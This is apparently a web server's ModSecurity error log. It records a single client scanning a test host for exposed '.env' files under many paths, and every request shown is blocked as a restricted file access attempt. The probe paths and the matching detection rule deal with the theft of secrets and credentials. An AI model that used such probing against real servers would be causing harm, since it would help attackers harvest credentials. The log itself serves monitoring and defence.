[Wed Feb 25 06:05:09.903776 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBAAAAAA&quot;]
[Wed Feb 25 06:05:09.903978 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/11-transactions/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBAAAAAA&quot;]
[Wed Feb 25 06:05:09.913925 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /functions/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYjAAAAAc&quot;]
[Wed Feb 25 06:05:09.914197 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYjAAAAAc&quot;]
[Wed Feb 25 06:05:09.914376 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/functions/.env&quot;] [unique_id &quot;aZ6DBYv6AM5Bs3q_JQDYjAAAAAc&quot;]
[Wed Feb 25 06:05:09.987767 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/drupal-separate-services/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBQAAAAA&quot;]
[Wed Feb 25 06:05:09.988027 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBQAAAAA&quot;]
[Wed Feb 25 06:05:09.988201 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/drupal-separate-services/.env&quot;] [unique_id &quot;aZ6DBWXxsr5IXP-ltRibBQAAAAA&quot;]
[Wed Feb 25 06:05:10.016440 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /gcp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYjgAAAAc&quot;]
[Wed Feb 25 06:05:10.016694 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYjgAAAAc&quot;]
[Wed Feb 25 06:05:10.016867 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/gcp/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYjgAAAAc&quot;]
[Wed Feb 25 06:05:10.093649 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/react-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBgAAAAA&quot;]
[Wed Feb 25 06:05:10.093915 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBgAAAAA&quot;]
[Wed Feb 25 06:05:10.094095 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/react-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBgAAAAA&quot;]
[Wed Feb 25 06:05:10.184219 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /github-connect/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkgAAAAc&quot;]
[Wed Feb 25 06:05:10.184463 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkgAAAAc&quot;]
[Wed Feb 25 06:05:10.184647 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/github-connect/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkgAAAAc&quot;]
[Wed Feb 25 06:05:10.207037 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBwAAAAA&quot;]
[Wed Feb 25 06:05:10.207293 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBwAAAAA&quot;]
[Wed Feb 25 06:05:10.207464 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibBwAAAAA&quot;]
[Wed Feb 25 06:05:10.294649 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /google/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkwAAAAc&quot;]
[Wed Feb 25 06:05:10.294919 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkwAAAAc&quot;]
[Wed Feb 25 06:05:10.295094 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/google/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYkwAAAAc&quot;]
[Wed Feb 25 06:05:10.328601 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/sdl-first/prisma/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCAAAAAA&quot;]
[Wed Feb 25 06:05:10.328889 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCAAAAAA&quot;]
[Wed Feb 25 06:05:10.329110 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/sdl-first/prisma/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCAAAAAA&quot;]
[Wed Feb 25 06:05:10.384128 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/vue-dashboard/backend/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCQAAAAA&quot;]
[Wed Feb 25 06:05:10.384348 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCQAAAAA&quot;]
[Wed Feb 25 06:05:10.384495 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/vue-dashboard/backend/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCQAAAAA&quot;]
[Wed Feb 25 06:05:10.457385 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /examples/web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCgAAAAA&quot;]
[Wed Feb 25 06:05:10.457649 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCgAAAAA&quot;]
[Wed Feb 25 06:05:10.457826 2026] [:error] [pid 2312879] [client 185.177.72.13:51786] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/examples/web/.env&quot;] [unique_id &quot;aZ6DBmXxsr5IXP-ltRibCgAAAAA&quot;]
[Wed Feb 25 06:05:10.474504 2026] [:error] [pid 2312957] [client 185.177.72.13:51802] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /grems-api/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/grems-api/.env&quot;] [unique_id &quot;aZ6DBov6AM5Bs3q_JQDYlgAAAAc&quot;]
